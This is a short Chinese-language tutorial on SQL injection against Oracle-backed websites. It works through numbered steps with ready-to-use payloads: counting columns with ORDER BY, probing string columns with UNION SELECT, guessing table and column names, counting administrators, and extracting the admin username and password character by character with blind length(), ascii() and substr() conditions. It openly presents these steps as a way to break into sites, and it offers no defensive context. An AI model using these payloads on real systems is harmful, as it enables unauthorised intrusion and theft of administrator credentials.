Oracle注入
1.首先order by 数量确定列的数量
2.然后union select null,’null’,null from admin 必须用null如果返回错入则代表引号内的列不是字符列,直到返回正确的为止
3.判断一下数据库中的表网址后面加上and (select count(*) from admin) <>0 返回正常,说明存在admin表。如果返回错误可将admin改为username,manager等常用表名继续猜解。
4.判断列名and (select count(*) from admin) <>0 将这条语句中的*号替换为常用的列名,如:and (select count(user) from admin) <>0如果存在则代表admin这个表中有user这个列
5.判断该网站下有几个管理员,如果有多个的话入侵的几率就会加大。
例如:and (select count(*) from admin)=1
返回正常说明只有一个管理员。
6.判断账号的长度 and (select count(*) from admin where length(name)>=5)=1
说明:length()函数用于求字符串的长度此处猜解的用户名长度和5比较,即可猜测是否由5个字符组成。
7.判断第一个字母 and (select count(*) from admin where ascii(substr(name,1,1))>=9)=1
说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取他的ascii码值。
8. 重复此操作即可推出全部的用户名
如:and (select count(*) from admin where ascii(substr(name,2,1))>=9)=1 猜解第二个字符。。。依次类推
继续猜解密码:and (select count(*) from admin where ascii(substr(pwd,1,1))>=9)=1 猜解pwd表的第一个字符